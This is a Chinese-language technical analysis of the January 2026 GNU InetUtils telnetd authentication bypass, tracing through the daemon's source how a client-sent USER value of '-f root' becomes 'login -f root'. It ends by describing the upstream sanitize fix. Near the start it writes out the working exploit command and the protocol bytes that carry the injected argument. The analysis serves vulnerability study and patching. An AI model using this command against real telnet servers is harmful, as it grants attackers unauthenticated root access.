漏洞描述

GNU InetUtils telnetd 是 GNU InetUtils 套件中的远程登录服务守护进程,2026年1月互联网披露 GNU InetUtils telnetd 远程认证绕过漏洞,该漏洞允许远程攻击者绕过 telnetd 的身份验证机制,直接获取root权限,可导致服务器失陷。

受影响版本:

1.9.3 <= GNU InetUtils telnetd <= 2.7

评分:9.8(高危)

漏洞分析

攻击者执行:

USER='-f root' telnet -a 目标服务器IP

USER='-f root':设置恶意环境变量

  • -a 或 --login:告诉telnet客户端发送 USER 环境变量到服务器
通过网络发送TELNET协议包:
    IAC SB NEW-ENVIRON IS USERVAR "USER" VALUE "-f root" IAC SE

第一阶段:网络连接与初始化

1.1 梦开始的地方

telnetd_setup (0);
  return telnetd_run ();

telnetd_setup (0);是对服务器进行初始化

telnetd_run ()就是使得程序进入主循环,这亦是梦开始的地方

1.2 服务器设置

unsetenv ("USER");

该处清除了现有USER环境变量,但在协议协商阶段客户端可以重新设置。

level = getterminaltype (uname, sizeof (uname));

该处会进行终端类型的获取,并会触发协议处理,其中就包括环境变量接收

而getterminaltype函数存在于utility.c文件,因此,现在我们需跳转到该文件查看该函数的内容

第二阶段:协议协商层

int
getterminaltype (char *uname, size_t len)
{
  int retval = -1;

  settimer (baseline);
#if defined AUTHENTICATION
  /*
   * Handle the Authentication option before we do anything else.
   * Distinguish the available modes by level:
   *
   *   off:			Authentication is forbidden.
   *   none:			Volontary authentication.
   *   user, valid, other:	Mandatory authentication only.
   */
  if (auth_level < 0)
    send_wont (TELOPT_AUTHENTICATION, 1);
  else
    {
      if (auth_level > 0)
	send_do (TELOPT_AUTHENTICATION, 1);
      else
	send_will (TELOPT_AUTHENTICATION, 1);

      ttloop (his_will_wont_is_changing (TELOPT_AUTHENTICATION));

      if (his_state_is_will (TELOPT_AUTHENTICATION))
	retval = auth_wait (uname, len);
    }
#else /* !AUTHENTICATION */
  (void) uname;	/* Silence warning.  */
  (void) len;	/* Silence warning.  */
#endif

#ifdef	ENCRYPTION
  send_will (TELOPT_ENCRYPT, 1);
#endif /* ENCRYPTION */
  send_do (TELOPT_TTYPE, 1);
  send_do (TELOPT_TSPEED, 1);
  send_do (TELOPT_XDISPLOC, 1);
  send_do (TELOPT_NEW_ENVIRON, 1);
  send_do (TELOPT_OLD_ENVIRON, 1);

#ifdef ENCRYPTION
  ttloop (his_do_dont_is_changing (TELOPT_ENCRYPT)
	  || his_will_wont_is_changing (TELOPT_TTYPE)
	  || his_will_wont_is_changing (TELOPT_TSPEED)
	  || his_will_wont_is_changing (TELOPT_XDISPLOC)
	  || his_will_wont_is_changing (TELOPT_NEW_ENVIRON)
	  || his_will_wont_is_changing (TELOPT_OLD_ENVIRON));
#else
  ttloop (his_will_wont_is_changing (TELOPT_TTYPE)
	  || his_will_wont_is_changing (TELOPT_TSPEED)
	  || his_will_wont_is_changing (TELOPT_XDISPLOC)
	  || his_will_wont_is_changing (TELOPT_NEW_ENVIRON)
	  || his_will_wont_is_changing (TELOPT_OLD_ENVIRON));
#endif

#ifdef  ENCRYPTION
  if (his_state_is_will (TELOPT_ENCRYPT))
    encrypt_wait ();
#endif

  if (his_state_is_will (TELOPT_TSPEED))
    {
      static unsigned char sb[] =
	{ IAC, SB, TELOPT_TSPEED, TELQUAL_SEND, IAC, SE };

      net_output_datalen (sb, sizeof sb);
    }
  if (his_state_is_will (TELOPT_XDISPLOC))
    {
      static unsigned char sb[] =
	{ IAC, SB, TELOPT_XDISPLOC, TELQUAL_SEND, IAC, SE };

      net_output_datalen (sb, sizeof sb);
    }
  if (his_state_is_will (TELOPT_NEW_ENVIRON))
    {
      static unsigned char sb[] =
	{ IAC, SB, TELOPT_NEW_ENVIRON, TELQUAL_SEND, IAC, SE };

      net_output_datalen (sb, sizeof sb);
    }
  else if (his_state_is_will (TELOPT_OLD_ENVIRON))
    {
      static unsigned char sb[] =
	{ IAC, SB, TELOPT_OLD_ENVIRON, TELQUAL_SEND, IAC, SE };

      net_output_datalen (sb, sizeof sb);
    }
  if (his_state_is_will (TELOPT_TTYPE))
    net_output_datalen (ttytype_sbbuf, sizeof ttytype_sbbuf);

  if (his_state_is_will (TELOPT_TSPEED))
    ttloop (sequenceIs (tspeedsubopt, baseline));
  if (his_state_is_will (TELOPT_XDISPLOC))
    ttloop (sequenceIs (xdisplocsubopt, baseline));
  if (his_state_is_will (TELOPT_NEW_ENVIRON))
    ttloop (sequenceIs (environsubopt, baseline));
  if (his_state_is_will (TELOPT_OLD_ENVIRON))
    ttloop (sequenceIs (oenvironsubopt, baseline));

  if (his_state_is_will (TELOPT_TTYPE))
    {
      char *first = NULL, *last = NULL;

      ttloop (sequenceIs (ttypesubopt, baseline));
      /*
       * If the other side has already disabled the option, then
       * we have to just go with what we (might) have already gotten.
       */
      if (his_state_is_will (TELOPT_TTYPE) && !terminaltypeok (terminaltype))
	{
	  free (first);
	  first = xstrdup (terminaltype);
	  for (;;)
	    {
	      /* Save the unknown name, and request the next name. */
	      free (last);
	      last = xstrdup (terminaltype);
	      _gettermname ();
	      if (terminaltypeok (terminaltype))
		break;
	      if ((strcmp (last, terminaltype) == 0)
		  || his_state_is_wont (TELOPT_TTYPE))
		{
		  /*
		   * We've hit the end.  If this is the same as
		   * the first name, just go with it.
		   */
		  if (strcmp (first, terminaltype) == 0)
		    break;
		  /*
		   * Get the terminal name one more time, so that
		   * RFC1091 compliant telnets will cycle back to
		   * the start of the list.
		   */
		  _gettermname ();
		  if (strcmp (first, terminaltype) != 0)
		    {
		      free (terminaltype);
		      terminaltype = xstrdup (first);
		    }
		  break;
		}
	    }
	}
      free (first);
      free (last);
    }
  return retval;
}

send_do (TELOPT_NEW_ENVIRON, 1);

send_do函数是发送TELNET选项请求

该处是请求环境变量选项

ttloop (his_will_wont_is_changing (TELOPT_TTYPE)
	  || his_will_wont_is_changing (TELOPT_TSPEED)
	  || his_will_wont_is_changing (TELOPT_XDISPLOC)
	  || his_will_wont_is_changing (TELOPT_NEW_ENVIRON)
	  || his_will_wont_is_changing (TELOPT_OLD_ENVIRON));

然后再这里等待客户端的响应

而ttloop函数在telnetd.h这一头文件中是这样定义的:

意思是创建一个名为ttloop的宏,它接受一个参数c,然后以c为参数进行while循环执行io_drain()

在该函数中通过

ncc = read(net, netibuf, sizeof netibuf);
    netip = netibuf;
    telrcv ();

读取网络数据后执行telrcv()

该函数在state.c文件

void
telrcv (void)
{
  register int c;
  static int state = TS_DATA;

  while ((net_input_level () > 0) & !pty_buffer_is_full ())
    {
      c = net_get_char (0);
#ifdef	ENCRYPTION
      if (decrypt_input)
	c = (*decrypt_input) (c);
#endif /* ENCRYPTION */
      switch (state)
	{

	case TS_CR:
	  state = TS_DATA;
	  /* Strip off \n or \0 after a \r */
	  if ((c == 0) || (c == '\n'))
	    break;
	  /* FALL THROUGH */

	case TS_DATA:
	  if (c == IAC)
	    {
	      state = TS_IAC;
	      break;
	    }
	  /*
	   * We now map \r\n ==> \r for pragmatic reasons.
	   * Many client implementations send \r\n when
	   * the user hits the CarriageReturn key.
	   *
	   * We USED to map \r\n ==> \n, since \r\n says
	   * that we want to be in column 1 of the next
	   * printable line, and \n is the standard
	   * unix way of saying that (\r is only good
	   * if CRMOD is set, which it normally is).
	   */
	  if ((c == '\r') && his_state_is_wont (TELOPT_BINARY))
	    {
	      int nc = net_get_char (1);
#ifdef	ENCRYPTION
	      if (decrypt_input)
		nc = (*decrypt_input) (nc & 0xff);
#endif /* ENCRYPTION */
	      /*
	       * If we are operating in linemode,
	       * convert to local end-of-line.
	       */
	      if (linemode
		  && net_input_level () > 0
		  && (('\n' == nc) || (!nc && tty_iscrnl ())))
		{
		  net_get_char (0);	/* Remove from the buffer */
		  c = '\n';
		}
	      else
		{
#ifdef	ENCRYPTION
		  if (decrypt_input)
		    (*decrypt_input) (-1);
#endif /* ENCRYPTION */
		  state = TS_CR;
		}
	    }
	  pty_output_byte (c);
	  break;

	case TS_IAC:
	gotiac:
	  switch (c)
	    {

	      /*
	       * Send the process on the pty side an
	       * interrupt.  Do this with a NULL or
	       * interrupt char; depending on the tty mode.
	       */
	    case IP:
	      DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
	      send_intr ();
	      break;

	    case BREAK:
	      DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
	      send_brk ();
	      break;

	      /*
	       * Are You There?
	       */
	    case AYT:
	      DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
	      recv_ayt ();
	      break;

	      /*
	       * Abort Output
	       */
	    case AO:
	      {
		DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
		ptyflush ();	/* half-hearted */
		init_termbuf ();

		if (slctab[SLC_AO].sptr
		    && *slctab[SLC_AO].sptr != (cc_t) (_POSIX_VDISABLE))
		  pty_output_byte (*slctab[SLC_AO].sptr);

		netclear ();	/* clear buffer back */
		net_output_data ("%c%c", IAC, DM);
		set_neturg ();
		DEBUG (debug_options, 1, printoption ("td: send IAC", DM));
		break;
	      }

	      /*
	       * Erase Character and
	       * Erase Line
	       */
	    case EC:
	    case EL:
	      {
		cc_t ch;

		DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
		ptyflush ();	/* half-hearted */
		init_termbuf ();
		if (c == EC)
		  ch = *slctab[SLC_EC].sptr;
		else
		  ch = *slctab[SLC_EL].sptr;
		if (ch != (cc_t) (_POSIX_VDISABLE))
		  pty_output_byte ((unsigned char) ch);
		break;
	      }

	      /*
	       * Check for urgent data...
	       */
	    case DM:
	      DEBUG (debug_options, 1, printoption ("td: recv IAC", c));
	      SYNCHing = stilloob (net);
	      settimer (gotDM);
	      break;

	      /*
	       * Begin option subnegotiation...
	       */
	    case SB:
	      state = TS_SB;
	      SB_CLEAR ();
	      continue;

	    case WILL:
	      state = TS_WILL;
	      continue;

	    case WONT:
	      state = TS_WONT;
	      continue;

	    case DO:
	      state = TS_DO;
	      continue;

	    case DONT:
	      state = TS_DONT;
	      continue;
	    case EOR:
	      if (his_state_is_will (TELOPT_EOR))
		send_eof ();
	      break;

	      /*
	       * Handle RFC 10xx Telnet linemode option additions
	       * to command stream (EOF, SUSP, ABORT).
	       */
	    case xEOF:
	      send_eof ();
	      break;

	    case SUSP:
	      send_susp ();
	      break;

	    case ABORT:
	      send_brk ();
	      break;

	    case IAC:
	      pty_output_byte (c);
	      break;
	    }
	  state = TS_DATA;
	  break;

	case TS_SB:
	  if (c == IAC)
	    state = TS_SE;
	  else
	    SB_ACCUM (c);
	  break;

	case TS_SE:
	  if (c != SE)
	    {
	      if (c != IAC)
		{
		  /*
		   * bad form of suboption negotiation.
		   * handle it in such a way as to avoid
		   * damage to local state.  Parse
		   * suboption buffer found so far,
		   * then treat remaining stream as
		   * another command sequence.
		   */

		  /* for DIAGNOSTICS */
		  SB_ACCUM (IAC);
		  SB_ACCUM (c);
		  subpointer -= 2;

		  SB_TERM ();
		  suboption ();
		  state = TS_IAC;
		  goto gotiac;
		}
	      SB_ACCUM (c);
	      state = TS_SB;
	    }
	  else
	    {
	      /* for DIAGNOSTICS */
	      SB_ACCUM (IAC);
	      SB_ACCUM (SE);
	      subpointer -= 2;

	      SB_TERM ();
	      suboption ();	/* handle sub-option */
	      state = TS_DATA;
	    }
	  break;

	case TS_WILL:
	  willoption (c);
	  state = TS_DATA;
	  continue;

	case TS_WONT:
	  wontoption (c);
	  state = TS_DATA;
	  continue;

	case TS_DO:
	  dooption (c);
	  state = TS_DATA;
	  continue;

	case TS_DONT:
	  dontoption (c);
	  state = TS_DATA;
	  continue;

	default:
	  syslog (LOG_ERR, "telnetd: panic state=%d\n", state);
	  printf ("telnetd: panic state=%d\n", state);
	  exit (EXIT_FAILURE);
	}
    }
}

该函数从网络读取攻击者发送的数据并进行解析,下面是解析的过程代码

case TS_DATA:
            if (c == IAC) state = TS_IAC;  // 进入命令状态
            break;
            
        case TS_IAC:
            switch (c) {
            case SB:                      // 子选项开始
                state = TS_SB;
                SB_CLEAR();              // 准备收集数据
                continue;
            }
            break;
            
        case TS_SB:                       // 收集子选项数据
            if (c == IAC) {
                state = TS_SE;           // 可能结束
            } else {
                SB_ACCUM(c);             // 积累攻击数据
            }
            break;
            
        case TS_SE:                       // 子选项结束
            if (c == SE) {
                SB_ACCUM(IAC);
                SB_ACCUM(SE);
                subpointer -= 2;
                SB_TERM();
                suboption();             // 处理子选项
                state = TS_DATA;
            }
            break;
        }

这里通过解析 TELNET 协议,去提取环境变量,然后进入suboption函数处理子选项

第3阶段:环境变量解析与设置(核心)

这里是漏洞的核心点

void suboption(void)
{
    unsigned char subchar = SB_GET();  // 获取子选项类型
    
    switch (subchar) {
    case TELOPT_NEW_ENVIRON:  
    case TELOPT_OLD_ENVIRON:
    {
        // 解析环境变量数据
        c = SB_GET();
        if (c == TELQUAL_IS) {  // 客户端发送环境变量值
            // ......

这里varp和valp直接接收客户端发送数据并进行设置,无任何校验!!!

相当于攻击者发送

IAC SB NEW-ENVIRON IS USERVAR "USER" VALUE "-f root" IAC SE

后端就会进行如下解析:

1. 遇到 USERVAR → 识别为新变量开始
2. 收集 "USER" 到 varp
3. 遇到 VALUE → 切换到值收集模式
4. 收集 "-f root" 到 valp
5. 循环结束,执行:setenv("USER", "-f root", 1)

至此,环境变量的设置就完成了,接下来就是利用设置的环境变量进行登录

第三阶段:登录进程启动

登录口

跳转到登录处理

void
start_login (char *host, int autologin, char *name)
{
  char *cmd;
  int argc;
  char **argv;

  (void) host;		/* Silence warnings.  Diagnostic use?  */
  (void) autologin;
  (void) name;

  scrub_env ();

  /* Set the environment variable "LINEMODE" to indicate our linemode */
  if (lmodetype == REAL_LINEMODE)
    setenv ("LINEMODE", "real", 1);
  else if (lmodetype == KLUDGE_LINEMODE || lmodetype == KLUDGE_OK)
    setenv ("LINEMODE", "kludge", 1);

  cmd = expand_line (login_invocation);
  if (!cmd)
    fatal (net, "can't expand login command line");
  argcv_get (cmd, "", &argc, &argv);
  execv (argv[0], argv);
  syslog (LOG_ERR, "%s: %m\n", cmd);
  fatalperror (net, cmd);
}
scrub_env ();

该处的本意是清理危险环境变量,但是当我们走到该函数时发现

其中缺少了对USER的过滤!!!

阶段5:模板展开引擎

// 登录模板默认配置
login_invocation = "login -p -h %h %?u{-f %u}{%U}"

// 当没有认证用户时(%u为空)
cmd = expand_line (login_invocation);

exp.cp = (char *)line;
    _expand_block(&exp);

该函数对login_invocation开始展开

_expand_cond (exp);

展开条件

步骤1:遇到第一个 %(在 %?u 中)

模板指针位置: "login -p -h %h %?u{-f %u}{%U}"
                           ↑
                          exp->cp 指向第一个 %(%h 的 %)

在 _expand_block() 中:

// exp->cp 指向 '%'
if (*exp->cp == '%') {
    _expand_cond(exp);  // 跳转到 _expand_cond()
}

步骤2:_expand_cond() 处理 %h

// 在 _expand_cond() 中:
if (*++exp->cp == '?') {  // exp->cp 现在指向 'h',不是 '?'
    // 不执行这个分支
} else {
    p = _expand_var(exp);  // 跳转到 _expand_var() 处理 %h
}

步骤3:_expand_var() 处理 %h

// 在 _expand_var() 中:
switch (*exp->cp) {  // exp->cp 指向 'h'
default:
    p = _var_short_name(exp);  // 处理短变量名 'h'
    break;
}

步骤4:处理完 %h 后,继续处理 %?u

展开 %h 后,模板位置: " %?u{-f %u}{%U}"
                        ↑
                       exp->cp 指向空格

_expand_block() 循环继续:

// 处理空格字符
for (; *exp->cp && *exp->cp != '%'; exp->cp++) {
    // 复制空格到输出
}

// 现在 exp->cp 指向 %?u 的 %
if (*exp->cp == '%') {
    _expand_cond(exp);  // 再次跳转到 _expand_cond()
}

步骤5:_expand_cond() 处理 %?u

// 在 _expand_cond() 中:
if (*++exp->cp == '?') {  // exp->cp 现在指向 '?'(%?u 的 ?)
    exp->cp++;            // 跳过 '?',现在指向 'u'
    p = _expand_var(exp);  // 跳转到 _expand_var() 处理 %u
    // 注意:这是为了检查 %u 是否有值
}

步骤6:_expand_var() 处理 %u

// 在 _expand_var() 中:
switch (*exp->cp) {  // exp->cp 指向 'u'
default:
    p = _var_short_name(exp);  // 处理短变量名 'u'
    break;
}

步骤7:关键:处理%U(漏洞触发点)

当%u返回NULL(未认证)时,_expand_cond()会展开第二个块{%U}:

c

// 在 _expand_cond() 中:
if (p) {  // p 是 %u 的展开结果
    _expand_block(exp);  // 展开 {-f %u}
    _skip_block(exp);    // 跳过 {%U}
} else {  //  p == NULL(未认证)
    _skip_block(exp);    // 跳过 {-f %u}
    _expand_block(exp);  // 展开 {%U}
}

// 在展开 {%U} 时,_expand_block() 会再次被调用
// 这次它会处理字符串 "{%U}"

步骤8:递归调用 _expand_block() 处理 {%U}

// 第二次进入 _expand_block()
// exp->cp 指向: "{%U}"
if (*exp->cp == '{') {  // 块开始
    exp->level++;
    exp->cp++;  // 跳过 {,现在指向 %
}

// 主循环:
while (exp->state == EXP_STATE_CONTINUE) {
    // 很快遇到 %
    if (*exp->cp == '%') {
        _expand_cond(exp);  // 跳转到 _expand_cond()
    }
}

步骤9:_expand_cond() 处理 %U

// 在 _expand_cond() 中:
if (*++exp->cp == '?') {  // exp->cp 指向 'U',不是 '?'
    // 不执行
} else {
    p = _expand_var(exp);  // 跳转到 _expand_var() 处理 %U
}

步骤10:_expand_var() 处理 %U

// 在 _expand_var() 中:
switch (*exp->cp) {  // exp->cp 指向 'U'
default:
    p = _var_short_name(exp);  // 处理短变量名 'U'
    break;
}

然后从_var_short_name函数跳转

p = _var_short_name (exp);

处理短变量名

此时 getenv("USER") = "-f root"

最终,自动执行

login -p -h IP -f -f root

Linux系统中login命令的默认遇到-f参数就跳过认证

达到以root权限登录对方服务器的目的

官方修复

创建了一个名为 sanitize 的通用函数

作用:将完全相同的安全检查逻辑(检查 - 和元字符)封装成一个函数。

应用:不仅用于 USER 变量,还应用到 remote_hostname、local_hostname、terminaltype 等所有从客户端获取、可能被用于构建命令的参数上。这是防御“纵深”,防止攻击者从其他参数寻找注入点。

return xstrdup((u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")]) ? u : "");

专门检查 USER 变量,如果它以 - 开头或包含任何Shell元字符,就直接返回空字符串,从而阻止 login -f root 这样的命令被执行

参考

https://www.openwall.com/lists/oss-security/2026/01/20/2

https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc

https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b

https://avd.aliyun.com/detail?id=AVD-2026-24061